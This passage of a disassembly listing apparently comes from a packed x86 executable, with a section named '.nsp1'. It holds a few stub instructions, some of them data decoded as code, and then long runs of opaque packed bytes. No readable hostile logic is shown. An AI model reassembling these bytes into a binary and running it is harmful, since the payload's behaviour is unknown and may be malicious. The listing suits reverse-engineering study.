loc_46F53A: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-0CAh]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_46F556
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_46F556: ; CODE XREF: .nsp1:0046F54Aj
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_46F585
; ---------------------------------------------------------------------------
dw 5E58h
dd 239C9E8h, 0F0CE48Bh, 0C1C0B600h
db 0E2h
; ---------------------------------------------------------------------------
loc_46F585: ; CODE XREF: .nsp1:0046F574j
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
dw 4189h
dd 5EEA750Fh, 5300040Eh, 8718B56h, 85DB3307h, 798057D2h
dd 762C7E0Ch, 0D1EA1C55h, 3BE380EEh, 2B0572FEh, 0CB1D83E8h
dd 0C5778101h, 0C1107360h, 0E8081AE6h, 41848985h, 4DF800E7h
dd 675DD875h, 4C5F6289h, 8B1C5E7Ah, 8CB35BC3h, 614F97F2h
dd 39B70F57h, 3CC1C2DCh, 0AF1E0BE8h, 0C7E00C7h, 4073F83Bh
dd 0BC468931h, 1F566C0h, 0BFD0348Eh, 2B98F01Eh, 0FF00C1FAh
dd 66F80305h, 7F813989h, 195CA87Eh, 0E8CE148Bh, 4E889F2Ah
dd 381DE164h, 0DFF166BAh, 0EB0EE072h, 4FD02B42h, 89566DF8h
dd 8FA06FD7h, 0D00AD20Ch, 0EA50C1E6h, 86DFC29Eh, 0FEE742A3h
dd 5F40021Fh, 0D681C35Eh, 0BB5351ECh, 94DA3E16h, 1E8DB85h
dd 891A7EF9h, 0B240FC5Dh, 708D0855h, 180CE634h, 0FD3FE83Eh
dd 4DE6C603h, 0EB75FC0Ch, 242C25Eh, 0E2D3CB8Bh, 0C9045B5Fh
dd 3A191F95h, 0F8DD8976h, 0C357309Ch, 7D3942FFh, 0FBD98BC9h
dd 207EFCA8h, 12785665h, 1E0C4203h, 0BD2385E8h, 614D0CFh
dd 9E003D3h, 3B47FC45h, 0E27C4812h, 2414151Bh, 6D61C988h
dd 0DAE899F2h, 6E4940ECh, 54E8D3E4h, 380BABCFh, 0BE493DC6h
dd 9FEA7C14h, 35A05B2Bh, 0D29C1950h, 435294FCh, 8751BC4h
dd 65D0D1B8h, 0EEEC1D8h, 1468D07h, 326E0CFh, 471B76C3h
dd 0D07396E8h, 2D80BDBh, 1C75F03Bh, 40A1FB81h, 0B21AEBD3h
dd 221BB657h, 59A276E8h, 1C99D88Bh, 8AB88AE6h, 566585C3h
dd 47FA820Eh, 417CE8F1h, 75C01385h, 0C2A4616h, 403AC57h
dd 4C8D036Ah, 0E85AB030h, 0EB31C7DCh, 24EC03Bh, 32F8D78Bh
dd 755724A8h, 104B1B65h, 0D8C2422h, 0B54E919Fh, 8C08301h
dd 406A11EBh, 2048EF8h, 0CA213A1h, 67D2D210h, 384ABE2Ch
dd 4E0813F9h, 4D41F154h, 24C8030Ch, 0B8704733h, 1A52A4F1h
dd 0DCC9283Dh, 0F44DCCEBh, 28E806C8h, 0D210E6E5h, 4B661AD6h
dd 90F84D41h, 0F020EC06h, 0E7D3E403h, 5073605h, 4ADB325Ah
dd 0CCE1C4Fh, 55604D39h, 0DC2E1060h, 0D6A0873h, 0A0E95802h
dd 769842E1h, 0D1C87540h, 0DCA8B7F9h, 0F3FE202Fh, 61C913ABh
dd 75FF0A66h, 14032018h, 0C84D8D02h, 0A3FCFAE8h, 80207D8Eh
dd 0D470860Fh, 10128A5Dh, 20861923h, 0DE89C1D8h, 66851860h
dd 0F4EA13A3h, 2061AA42h, 0C29B4604h, 55624E73h, 46FD4464h
dd 82766212h, 474223DCh, 8B1A580h, 20E74D2Ah, 0A590C380h
dd 0C59CA3h, 8DC203A1h, 5904004h, 0FF83091Dh, 6C8806E4h
dd 67D0F0Eh, 3F46587h, 243D10EBh, 9E05BA0Ah, 65B903EFh
dd 0A50D060Ah, 830CEF4h, 0F6204974h, 0F8B02B39h, 48A1C9Ah
dd 0AA88103Ch, 65A09A18h, 7783FE1Dh, 4708816Ch, 8AE76C0Eh
dd 1C54D867h, 0F2836A94h, 7EAE0843h, 33340180h, 42E894C2h
dd 3BC1A362h, 0AF1B50C3h, 2DB2E1C7h, 0E823983Ah, 0A62F519Eh
dd 45752F8Eh, 920F47A4h, 0D18A0395h, 0E84605C1h, 75184E86h
dd 0FEE392Ch, 558B8435h, 1FF0B514h, 9D0707FFh, 0F8912BC0h
dd 9C1448Dh, 39F4F943h, 1338AD3h, 4A31FF33h, 4AE91288h
dd 0B058A4CEh, 75184622h, 0EC48C305h, 2B2B27EBh, 0E80A8AC8h
dd 0F0E1182Eh, 76BA09EBh, 87E410E4h, 0EC1D38B5h, 0EDB419B6h
dd 0A2E613A8h, 8E8481DDh, 32480A68h, 0C2D5AA9Bh, 91EA6299h
dd 0E0DC487Eh, 0BD9E7FDh, 0C2ADE911h, 0F06C8944h, 0DBE41C5Bh
dd 9D6D0CD1h, 2C591284h, 6648888h, 0A113229h, 9750E81Bh
dd 2404F8D9h, 34C7CB4h, 0D858247Dh, 3DF25194h, 81062407h
dd 4B536093h, 549E7414h, 49647C21h, 0D6C7D1E2h, 4AFB2391h
dd 0BA30CFF9h, 0CC3E98CAh, 7D5D0E2Ah, 0E4511524h, 5EF02B1Dh
dd 80055E4Eh, 5DD73AE8h, 21EB7001h, 0E1E7C283h, 18A4FB0Fh
dd 1C00493Eh, 6A50C845h, 44F691F1h, 0DBEB5A0Ah, 8590B4CEh
dd 0D36284B6h, 648838Eh, 303424C9h, 9E3C80A6h, 393F3A77h
dd 0D3C1A41Ch, 342429Ch, 40188AC7h, 9413940h, 0D2854A40h
dd 57EC2A1h, 7220D43Bh, 78F1EC49h, 820FE0E7h, 45B59055h
dd 83CC95D2h, 0D2851C6Eh, 7841EB75h, 63F0D1C3h, 72102E12h
dd 800F8A87h, 0BB82E144h, 0F4D1610Dh, 62720124h, 96E94407h
dd 55E3194Ah, 2E2D2E2Ch, 72805F2Eh, 8AE43214h, 2EB37DC1h
dd 0AAC1F3F6h, 0C807C8Fh, 0FA7548D3h, 12BA093Ch, 1CF71CA6h
dd 16F781FCh, 0F11EC9F5h, 0BB060682h, 0E35061C6h, 10E068CFh
dd 9C268D92h, 5341A71Bh, 9D71FF52h, 0BD2077CDh, 0A17A90C8h
dd 1494D38Bh, 206FB405h, 57885272h, 1DFC12B8h, 33242065h
dd 18CE4F6h, 81806E46h, 2E69C36Ah, 8B020240h, 5FC385C6h
dd 53F8C41Eh, 80B901h, 0
dd 2000005Dh, 17C5200h, 6E00000h, 6F000000h, 0A3FFFFFDh
dd 3E47FFB7h, 39721548h, 92B85161h, 86A3E628h, 0E4EEF907h
dd 2FD3821Eh, 13C3AC5h, 0C97EB14Bh, 2F4D8A8Ah, 7FD90DA3h
dd 238CE3A6h, 59E05311h, 8A75C518h, 0B6F877E2h, 6A0C7F94h
dd 4974DEC0h, 5CE9E264h, 0D804B253h, 0AB0C44F7h, 466D0D5Fh
dd 76C3E5E9h, 5796B788h, 0E14DB6ACh, 0FB6F1D69h, 6C10884Bh
dd 3F88CB42h, 0F35005Ch, 38A4B450h, 505F368Ah, 4F612308h
dd 84FFF63Dh, 80A6EB53h, 0A00991E4h, 6F702968h, 0CB2C440Ch
dd 9390F289h, 11D0854Bh, 51E0DEAFh, 0FDF77AF2h, 4E078AA2h
dd 811643D2h, 0EE0F62B6h, 94D36E75h, 0E23805A1h, 1E8A612h
dd 0C087E8D3h, 0DDEFBBE3h, 2B5E8F24h, 283B5C9h, 7894802Eh
dd 0C07DB02h, 2F6BB8FFh, 0E01B6F3Eh, 0B2464AEFh, 0B146CCEAh
dd 8B1D9AF9h, 0F3B8A24Bh, 0EE9F0A77h, 0D1DF915Dh, 1D37EE47h
dd 0BE4B3D82h, 0AB8F6810h, 1F2E48C6h, 97BECF79h, 50E6D781h
dd 79CB5716h, 0DD686B6Ch, 0FC08F7ADh, 895A672Fh, 4AAC4654h
dd 0C82BCFABh, 0FA3092DBh, 4AEA9B2Dh, 6A3C44E5h, 8ADAED01h
dd 6DA3F0B1h, 9D9E2B53h, 0B30A67D6h, 0AF1D690h, 4154B55Ch
dd 4662341Ch, 0D1FDBDBDh, 86D396C2h, 0CB522DE0h, 0AED96C65h
dd 0EB825C07h, 42AE0ABEh, 7E215B10h, 3B3A768Fh, 0C72A5F31h
dd 0AB681B6Ch, 9AE7A192h, 5E30A637h, 47BA39A4h, 2A4241EFh
dd 5C7F542Fh, 34C37C6Fh, 79C9C090h, 7162E0DBh, 0B8E90F18h
dd 552AB40h, 17C9CEF5h, 0F8E215D3h, 0BC1D07DFh, 0A25FEFDDh
dd 65A9B274h, 6C584910h, 0C0AAF869h, 39324C21h, 0C72D754Fh
dd 0FA9D1E54h, 1A870AD0h, 9776F907h, 0FF8DFBA2h, 0F9984112h
dd 0E1041F88h, 5523E3F6h, 0CB83419Ch, 42F6C1DBh, 5701F961h
dd 9A85E9C3h, 72F13E23h, 0ADEDD1D9h, 30C376BFh, 289A5492h
dd 0B99A705h, 0D62DEE46h, 0BFEF2274h, 25B20072h, 0F5C92B3Ch
dd 1B2B3B43h, 0E2F54864h, 6B576A1Eh, 20A92D24h, 0B3BF2D83h
dd 2FC28325h, 0DC5AB8D3h, 214C25ACh, 3D04FF45h, 14CC0C54h
dd 7EB64E46h, 90A3979Bh, 0A4A36940h, 30124D7h, 459E051Ah
dd 490FF85Eh, 8F082EF3h, 0EC2E11E9h, 9B620719h, 0F720EB44h
dd 1ED46268h, 66DD8E67h, 45070E79h, 574B32A9h, 0B08993F7h
dd 416B4B22h, 48EBD85Eh, 0AA8860C6h, 12302DC4h, 0CB3A0FC5h
dd 0E429DFECh, 2BB17841h, 0E5ADC919h, 8D9BCF77h, 3AA2948h
dd 50874D6Eh, 2BD6FC31h, 0A020184Dh, 0E152A11Eh, 70E5DAFEh
dd 0E499C78Fh, 7A2A7402h, 0FCC1FED1h, 5AD7F6F1h, 9125625Dh
dd 59792489h, 8E14B3C1h, 0C281CF30h, 13BD8C56h, 817A21FFh
dd 0F27D2AE8h, 0B201AE42h, 0EECE6190h, 7D75D60Ah, 5057BEFEh
dd 4DE3ADF8h, 55165B2Bh, 0E47C4AB4h, 9FB5A487h, 5526992h
dd 45DD8B3Ah, 0FF854947h, 59BA5A9Eh, 0BC33748h, 0E6608A20h
dd 0AE634197h, 0D19CAECEh, 0C37B1F50h, 0BD216EA6h, 530B8BB2h
dd 5B4B35B6h, 0DDC16E1Ah, 0E39C65A0h, 9FF45F1Ah, 1980622Ah
dd 374CE99Dh, 9F775046h, 9F4D0D8Bh, 5D97E2DDh, 0A8BDD0A0h
dd 3839C4Ch, 514BD75Ch, 58BD209Bh, 0F86AD79Dh, 2FAB3C20h
dd 0DDEA2ADAh, 9D5AF649h, 98054836h, 2CA38116h, 750BCAC4h
dd 0D3C339DAh, 5CB2D33Eh, 0F131DB40h, 543D4B03h, 45EAE853h
dd 8115DA71h, 2B70CF9Dh, 76CD3D74h, 89251E3Bh, 69ECDDA9h
dd 0B6A74C73h, 2D7CCA8h, 64A93FA5h, 7231AD2Bh, 317C07FBh
dd 2DBDFF15h, 7146DB68h, 0B5C46A8Dh, 2701A644h, 0ED6E7226h
dd 0D6A4EAFBh, 66117C7Bh, 3CAF916Dh, 0FA500EA1h, 0E8C976FDh
dd 0C7F33092h, 90AF8D3h, 2E7601Fh, 44FE6004h, 33A9038Bh
dd 0D6D588D0h, 7CD08816h, 0CA623D43h, 53973742h, 2E5688A0h
dd 913EE11Ch, 543CB104h, 1EC8FACDh, 746C456Fh, 2D68D019h
dd 7265507Ch, 1E79D8F0h, 0F0EA1491h, 0E2DD58BBh, 0D48A9BC1h
dd 637A5BF2h, 9D90218h, 1429E57Ah, 3748F085h, 72023793h
dd 0EA5D74Bh, 0CEEB93Ah, 0B6E563D2h, 3B4267D9h, 0F2BA995Dh
dd 70A34259h, 0F0F6140Bh, 0AF01349h, 23453E6Ah, 0A8A6AB9Eh
dd 89A70E50h, 1510797Ah, 0AE82AF7Fh, 0AF51C9E9h, 56A9016Bh
dd 77A642B5h, 2CB74A64h, 6E46B95Bh, 0A753B4Eh, 79AB2EECh
dd 0CF4A97FDh, 93A7AEC6h, 5009270Ch, 0E612A08Fh, 77D247CBh
dd 3FA3DC92h, 0F00EFE78h, 0E7193EE2h, 29E67D38h, 5904BD30h
dd 0B62A523Fh, 339AC447h, 7127E71h, 0FECE908Dh, 361181C6h
dd 5EE4BAC0h, 0AB50C5DEh, 91955602h, 9E254693h, 0C54E11Fh
dd 6A1AD3F9h, 8A52C0B4h, 0B324C8C2h, 55D547BCh, 3E9A5D98h
dd 4A40618Ch, 0E137D001h, 0E01B10h, 82B3854Ch, 2AD57C4Ah
dd 0EEA7EF38h, 25644980h, 6A34E870h, 4C745469h, 2C77BA65h
dd 23F53EB1h, 0BFF49E69h, 4453083Ah, 0BFB18176h, 5BA3C154h
dd 6D05147Eh, 32888C24h, 0C84FA7DEh, 8B921EDh, 80274B37h
dd 82AC9523h, 396E2D0Eh, 0D1CDC99Dh, 0AC0A3ABFh, 680BF3D0h
dd 0B7C68BF6h, 44AF975h, 24184E96h, 0A556C08Fh, 0E22B55C3h
dd 0EF950F76h, 6F36A37Eh, 378AC10Bh, 0C3945D90h, 0A45CEF3Bh
dd 0C08D92Bh, 0D38675DEh, 0A7B40E7Ch, 0F61EE6B0h, 2282184Ch
dd 0F0FCC526h, 98181F7Fh, 51BBC1A9h, 0C263C78Bh, 61789DCAh
dd 0FE5E00CAh, 66A4CA94h, 0B574D5F6h, 0B746D8F4h, 2D8FCC41h
dd 8142A18Bh, 5A9C4FBBh, 0A79AFB19h, 4792159Dh, 35451E03h
dd 92A19AC6h, 81DDCC63h, 7F870671h, 4FDE9432h, 4B608524h
dd 6D8C74BBh, 70ABE4AFh, 1B0292B5h, 685162Dh, 0FEE568Bh
dd 1033AEB5h, 55B9B8B7h, 915F3F88h, 89C67492h, 943DBB87h
dd 1A49062Eh, 0E8E16F42h, 91E06E8Fh, 0A98E16C8h, 0F5A9C91h
dd 5E374AEh, 0DB923D0Bh, 2FE401A8h, 34521A58h, 1E389E41h
dd 8CD49A0Ch, 5BC5B828h, 9CAB23BFh, 4EE34F98h, 0F9B918B4h
dd 4D6DDDEDh, 0F5C55B1Dh, 0EB696EEEh, 6933B595h, 47A64ACDh
dd 0F718439Eh, 758910DAh, 9F288CD5h, 988BCEE3h, 0FFFDA415h
dd 7B16E0E0h, 68AC8375h, 22984739h, 3104EB5Fh, 0B5B656F2h
dd 19A264CBh, 13B24F3Ch, 0E86F85DCh, 3B4071B1h, 11676670h
dd 1A88D2B7h, 2A8DD41Bh, 0BC7C3E67h, 0E1467849h, 0CC1C0E5Ch
dd 37979C10h, 7239BAE3h, 0BCBE9CDh, 4543A0Ah, 0E579C42Fh
dd 1353E623h, 0A3F475D5h, 8A7C9C92h, 0D9A6E9ADh, 0B1A67AD5h
dd 998BC9DAh, 5AF6C632h, 520C7F72h, 31CD2EB1h, 0EDD805A6h
dd 9AE2E33Eh, 0C319548Ch, 1D220339h, 839E2F32h, 0BEB8D3A4h
dd 7C0ACE4Ah, 7155B89Ch, 0C8289D7Ch, 0EFCC01BAh, 6C3CEC87h
dd 0EE90E2D9h, 0D8726861h, 456FCF51h, 0CAEEA0D2h, 0ED8BBBE2h
dd 0B2016CA1h, 0DA4C1885h, 0C7348D6Fh, 0E229AB45h, 0D1F00604h
dd 9AC58849h, 0EEC62FF7h, 0B559E689h, 280E3CEAh, 23A4878Bh
dd 0AE0E587Ch, 50D82BFCh, 0D2E4FB21h, 0FA3E9D1Ah, 0DCCA3667h
dd 0E8D19D3Ah, 0F161AD5Eh, 82F3E088h, 0DDA1FD9h, 0DC566E6Dh
dd 0DFD943FDh, 9422B48Dh, 0EBBF02D5h, 0E0871682h, 0FD0FFF3Eh
dd 5925918Ah, 47FEB1C1h, 0C0A2BF28h, 0CA2CCEA3h, 0C7800E5Eh
dd 7A082E88h, 9C0E0687h, 50D2BBE0h, 8A2A96B1h, 6B0ED5C7h
dd 22D07223h, 6ED70124h, 21D33452h, 0A0EF9D08h, 0E9853ABCh
dd 0D32388A7h, 5E0730F2h, 0C4008AC8h, 8CC8D792h, 413F2591h
dd 0F2EA59C9h, 2C4DBB5h, 415D404Fh, 0BEB20985h, 851A4CB3h
dd 4DEDD44Bh, 0F13D4211h
dd 1238025Ah, 0D5D862FFh, 38D4CC89h, 0B8233A4Fh, 3EF705C2h
dd 0BC3151DEh, 5D7714B6h, 0CA277393h, 8B859B3Eh, 0BBE19F9Ch
dd 3232EBC5h, 134F1D32h, 367CCA62h, 462978BBh, 10F93A66h
dd 0EB97982Ah, 20F4FDCh, 11BB57ABh, 781B377Ch, 0FBC2244h
dd 98FED20Bh, 7A5F2AC5h, 64E4F825h, 0C4F06D70h, 0B93A0Bh
dd 0A182BA77h, 0E72006D0h, 7E7DC61Bh, 5B83B304h, 89FFF3D4h
dd 4A39650Fh, 39C696C3h, 13F910BCh, 0DBF5BCBh, 65DEFDFAh
dd 13D7FCADh, 9DED4A6h, 207E77AAh, 3DB77EF8h, 9859142Ch
dd 494BA99Ch, 0BD7BB57Ch, 7A829D60h, 943F182Ah, 3962D53h
dd 194D141Fh, 0B48D79C0h, 3D28CD78h, 0B7D7C9EDh, 0A12E4DCAh
dd 387DD789h, 3BC6428Fh, 54E5C7D3h, 0F56281D4h, 1C6AC6ADh
dd 4BE546BAh, 1C25594Bh, 4B5D00BCh, 46819710h, 7886BB3h
dd 917A1C24h, 520153CEh, 167514A9h, 0AA84D605h, 0EB8E2EEFh
dd 4703EABAh, 0C05E25Ah, 10E9D145h, 0ACF2B233h, 622CE740h
dd 0CD4451F8h, 97AD0A35h, 30C1D7E5h, 8B9D43B7h, 8CD42184h
dd 8D56B467h, 0EE7AC894h, 8855A8F0h, 9B09C80Ah, 600F59A9h
dd 0EF81B1Eh, 9FBBED25h, 0DCDB19Bh, 72617E60h, 9ED7BF3Ah
dd 24B9E74Eh, 9FCE369h, 63F94398h, 88411CA4h, 3DE4D551h
dd 8DF75559h, 44CA134Eh, 4F5511A3h, 1AE87AD1h, 0BE624333h
dd 94F3609Eh, 677714ABh, 0D03D00AAh, 793F2649h, 770F16B3h
dd 1521D2B1h, 0ED65F734h, 0BEB4C427h, 30F78CBCh, 7655C29Fh
dd 844039Eh, 0DA621D03h, 11230EA3h, 7E1BDDDFh, 0FE466479h
dd 48D11C30h, 5D27BDDBh, 0E6C23BECh, 3FE38D3Dh, 0D40A591Eh
dd 0A6AA036Fh, 0F8E1B352h, 5ACBAF80h, 83A6A715h, 3834646Bh
dd 3696F938h, 7198F9B7h, 54EB1063h, 0CADDE053h, 24481641h
dd 0D1CF8A68h, 44AEA0C1h, 0A4E42F0Bh, 0C0C1F527h, 3CB992BEh
dd 0BB2E79Ah, 5C935412h, 0A6A0AA5h, 1273F7A3h, 0F5BA50AAh
dd 7AFE8CD3h, 9C19F6h, 570CD467h, 0E94C6965h, 0E3C4210Fh
dd 4A253CF6h, 419611F8h, 64628ECFh, 782741D9h, 0FA736F2Eh
dd 0E6CB7711h, 83874FF9h, 0C26A9C53h, 4D8CE55Eh, 3734D81Dh
dd 7923DB64h, 527939CAh, 8B3DCD9h, 54191E31h, 4FAF2110h
dd 27FDBA11h, 0D44A5C2Ch, 9D6F418Fh, 0EED69DECh, 0E7CD5C33h
dd 70687B91h, 0A3430295h, 0F3FA820Dh, 0A8094E64h, 0D745DA91h
dd 0DD3773D6h, 843D4A34h, 0F56C51B4h, 9B3DD5A6h, 0C8384B3h
dd 0F9446906h, 0D283E3D6h, 0B4CDD77Dh, 5B90811Fh, 5E4F1AC6h
dd 0E8C0C7AFh, 2AE5C5Ah, 87E91FCDh, 1E18887Bh, 1BA3C33Ah
dd 71BED98h, 21186EA8h, 553C4B83h, 51649C96h, 7403100Eh
dd 0DFF12225h, 2655B700h, 0BC90596Ah, 1D5E6880h, 561F3C78h
dd 97A271B8h, 339E6E2Dh, 23ED41EAh, 208C8227h, 3074A132h
dd 0B4E8B31h, 7B57FD55h, 5CEC5F8Ah, 73F5CF21h, 6E64B769h
dd 0DB17C93h, 0CB162DE3h, 0ACC0AC48h, 56A8BBE0h, 0F7BDBE75h
dd 50E558E6h, 0A78CCC34h, 0B16E75A5h, 0F521C71Ah, 84048FF9h
dd 74F15D9h, 3AA41FA9h, 0BE15EC4h, 0E5B0C593h, 80F14D55h
dd 0A154E12Ch, 8B2CEBE6h, 19CAD01Dh, 8A0900A7h, 13DAF8DCh
dd 0B271CAB1h, 365FB4DBh, 2EB9795Eh, 950F80Bh, 55F2613Ah
dd 0E6FACD91h, 0D89EADB5h, 0A0BEA882h, 1ED8E4D6h, 4194F596h
dd 0C4D892F1h, 1959148Eh, 5C81BBFh, 0C7C46EC1h, 4C3E1E0Ch
dd 567BE27Ch, 0E02B0421h, 0AD5E1D7Fh, 7992FC7Bh, 0CB3BF407h
dd 3EDE866Fh, 0ADCCF021h, 858C5B6h, 81E2F956h, 0C4548892h
dd 0CC274783h, 8CE098A5h, 0D11061E1h, 0F9539C1Ch, 0BC483632h
dd 33213671h, 7D7FE5F3h, 678B7F42h, 44A6B7C5h, 974AEDF2h
dd 0DA75829Fh, 6F29D343h, 0F2A0918Fh, 5223653Dh, 0B8115D0Ch
dd 430C0127h, 236E500Eh, 0A0AFFF8Eh, 0A8A252C8h, 0F67F7E4Eh
dd 0A40C579Ch, 0D187AD0Dh, 0F2FB82B1h, 67E769A1h, 0C460DA75h
dd 542AD310h, 70BA0594h, 58629812h, 9AFF14FFh, 54581CD5h
dd 0B891CA47h, 0E2F6FE3h, 0E54260E9h, 2BCBA770h, 0D6FF5894h
dd 48DD4BF0h, 0BF2ED3D7h, 398F69F1h, 51A44659h, 47B82EA4h
dd 841CA39Dh, 2A84A586h, 6FA5E947h, 0C6545851h, 38725715h
dd 64EA0E6Fh, 4DE1E217h, 4AB6969Bh, 26791880h, 0C4FFB3BAh
dd 0AE8228A4h, 0DD7DD42Bh, 714D5331h, 8164D943h, 0B6ECE9EFh
dd 26E3AAAFh, 3021CDF5h, 341DB898h, 1F35FEA9h, 11AE0763h
dd 72B72BF1h, 0A07B7242h, 562F47B2h, 2E27165Dh, 1CA966C1h
dd 0C89DCE14h, 3C806B72h, 20A870D3h, 0ABE0141h, 17403324h
dd 0F26C0ECDh, 0CA1B97F3h, 0FA6AC2C1h, 0DE756D9Eh, 31B2C1BBh
dd 0BCD96946h, 0D7CE43E0h, 0BD8C80CFh, 6D1999D4h, 0BEA2EDB8h
dd 325EB37h, 0B1273045h, 520FEF12h, 969611A0h, 0F04C8677h
dd 74E19841h, 75A7D533h, 0E401DCDDh, 0C4FEFB59h, 5F263AE2h
dd 0C2CE2C42h, 402D69A3h, 3A730C08h, 0C9D91C71h, 255AE407h
dd 0C29FB041h, 3099FB79h, 3A554D1Ch, 9C564AFFh, 368AAB74h
dd 420C271Ah, 63DC8A70h, 0F7DA555Bh, 3D7BEA9Ch, 0E860B931h
dd 0C1F6EB3h, 2ED908Ch, 0A5969AAh, 86FBD0B5h, 64FB2D13h
dd 432DC747h, 0B736B231h, 863CDF4h, 0F86D71E0h, 4DA66D4Fh
dd 0FA260F34h, 0E2A7AA73h, 0BDB762EEh, 0F2E5526h, 0A659BAEDh
dd 0CA2C41FEh, 73EE7151h, 0ECE125CFh, 60888E1Dh, 10664FF2h
dd 0D64ED07Dh, 42D6CBEEh, 16E70592h, 4D970627h, 168E2221h
dd 0D4F8FF33h, 0D0BC8FA6h, 70A85081h, 55F1C147h, 6235F499h
dd 0EF405B7Ch, 0F01ECCFEh, 0F90C79D3h, 4215356Ch, 0D9A3A40Ah
dd 0E86A2F25h, 0A2C19A89h, 0ADF9F071h, 72E7061Ah, 5771A873h
dd 26A51E78h, 38495F87h, 0F25D9D1Bh, 0EB5875EFh, 0D0405A2Bh
dd 0F90CFFEh, 0D43C90A0h, 14927894h, 0BE65298Dh, 0AA12C962h
dd 8BBCF4E4h, 0E140E3FCh, 0B67805Dh, 6D1306EEh, 0D4382E6h
dd 67D4530h, 8EB86137h, 1C98CCD6h, 0BE994C83h, 0AE53F4A8h
dd 271F124Bh, 3EAFCBD6h, 0CD621AC4h, 8BE22041h, 0C221FE87h
dd 0C0099417h, 8C3CC46Eh, 264E67BDh, 81F9C2A8h, 68CE11CCh
dd 1F4F1644h, 1DE0B6DEh, 5E553757h, 0B0BB79C4h, 8262DDFFh
dd 0F1C6F7E4h, 0F7362411h, 6F9D0456h, 0F22B6396h, 2A37AB4Bh
dd 603FDDD0h, 0F8476C4Bh, 0D83B130Ah, 0D727299Ch, 0CDE04158h
dd 0F94E5CF6h, 7FCB4A36h, 66161751h, 0F2FF5846h, 1369A978h
dd 0B58732FFh, 854436F4h, 5CF1CFAFh, 0E89E17DDh, 0B7171BF1h
dd 0E1868AE7h, 0FC7E4EBAh, 6EA98AF8h, 5FD825C2h, 0A2A1FDF5h
dd 5EE44133h, 0F33011Dh, 0E79AE0ECh, 0BB13D7E0h, 0BD0B9863h
dd 0D9E45E36h, 47D04B64h, 9B0284EBh, 571A893h, 740EB921h
dd 8FC20E9Ah, 5E912F34h, 0FD03D30Bh, 0D287798h, 0E5EFEC41h
dd 0EAF92AEh, 48E11C1Ch, 0DAAF16BFh, 0EE939CA1h, 2ED22E39h
dd 0B11832ACh, 7E130C78h, 1FC377B3h, 0FB63C8A3h, 0AC154CBEh
dd 6C8283A0h, 65458924h, 4B50E489h, 0FD206AC1h, 2A897DBBh
dd 848DDBEDh, 572D4A80h, 0DAE6410Bh, 0B3AF32B1h, 4F6D7E36h
dd 5E9C562h, 9355865Eh, 0D880285Eh, 7128065Eh, 0EA59436Eh
dd 76B13E44h, 8A66C32h, 8F7DF537h, 3F60E359h, 0ED3F923Ch
dd 0F66F3770h, 0DDEA3A5Ch, 0C24B3CB6h, 6FEAFEBFh, 502A8E00h
dd 0B10081D3h, 5FFE09CCh, 8A4B6B51h, 9D422A41h, 0F51C6BB1h
dd 72FB45B8h, 21287047h, 773EED8h, 2EDD006Ah, 0EFCCE086h
dd 478D5C9h, 0CB4F4002h
dd 8A3EE316h, 3FC1126Dh, 7FE1A485h, 1DC77292h, 0B219991Bh
dd 0D5CF7F6Eh, 99F1ADA2h, 153C2394h, 0BE3B84FAh, 0C2C1F6DAh
dd 0A8FE9EFh, 0DEAB4411h, 6561F8F6h, 2260330Eh, 0EA5BBDECh
dd 0F028B86Eh, 0DB8D1DABh, 28A54A70h, 6997E17Ch, 7ABE29F1h
dd 0E01BDCBEh, 0F0A8957Eh, 67F0C9D2h, 63AEA0C8h, 82D8C1Bh
dd 7D1574B4h, 66C3FD8Bh, 0AC6A684Ch, 0B0148AD9h, 571FDF88h
dd 0E7483575h, 501CA2EBh, 0A1DCB2D4h, 0D89F511h, 0E78AF50Ah
dd 0D782A152h, 30DCD303h, 0F973812Ah, 0ED0C1D97h, 0BFB68BC0h
dd 47BE1585h, 7E72C107h, 1FB66887h, 0DABAB8F6h, 72A85E28h
dd 0B8323187h, 5DC87C2Ch, 0BA12784Dh, 19DABE86h, 7C4D676Ch
dd 0EE8FEC07h, 3E887785h, 4128E3E6h, 2817D7A0h, 44C7392Dh
dd 4706C7C6h, 0DD000C0Eh, 9187FA3h, 6C329A39h, 0D20F9483h
dd 0EDFB411Bh, 6F6285A1h, 1CE6A2E1h, 0C7F1D7B6h, 12B2ACEAh
dd 6600A8FFh, 0DEAE885Eh, 0EF2BFEC9h, 69AD2B5Eh, 56DC83Ch
dd 3051F7DDh, 9928CC8Dh, 4165F949h, 0CFA7087Ch, 0FA6CB927h
dd 0BB860C67h, 7887C224h, 2FFDA5D4h, 0ECCC749Dh, 82B037D6h
dd 8BB69D0Fh, 27906DFCh, 0FD2FF710h, 775606C7h, 0C16C49E8h
dd 84123607h, 486FB437h, 0D737995Eh, 8C10F690h, 31060B5Eh
dd 0F768D113h, 3F1B5816h, 675CDEBCh, 0F8B236D1h, 2A8A74DFh
dd 90035145h, 0F4916FADh, 2201D75Bh, 0E8472144h, 13DE7157h
dd 4C83280Eh, 845A6596h, 0D0A85B37h, 737EF537h, 8109EEABh
dd 80A23DEEh, 0A9A75C6Ah, 7EF962BEh, 0F5FFA5ACh, 43A900E0h
dd 71C97B87h, 9AD1A453h, 0B46C327Fh, 0FF743EF3h, 0DF15F288h
dd 0AB1C40E1h, 9DB8E3F4h, 5F60D29Eh, 0DC3A410Dh, 852C58A5h
dd 557287A3h, 15C46188h, 5B131F23h, 39E0CFBBh, 6EEA2A01h
dd 9564C144h, 5EFC2AE3h, 8B191C6Fh, 2435044Dh, 7DA8A3h
dd 679EAC5Bh, 9594E51Dh, 91BA374Fh, 0A4CCC203h, 0DAC1876Dh
dd 8B5F8827h, 2A4C9AAh, 7DB8466Bh, 0E029155Eh, 36706D82h
dd 0C2915C3Fh, 826E41B0h, 8A6E60A4h, 5AF1C784h, 0A914B50Ah
dd 0BC545724h, 3F93C970h, 0A355E660h, 7F8CB187h, 0A0F32C9Eh
dd 0EC41D125h, 3A286E81h, 0B28714CEh, 4B2E6E5Fh, 0BEC21074h
dd 366B216Fh, 36F3B02Eh, 4A371B9h, 87D1B1FEh, 0BA690B46h
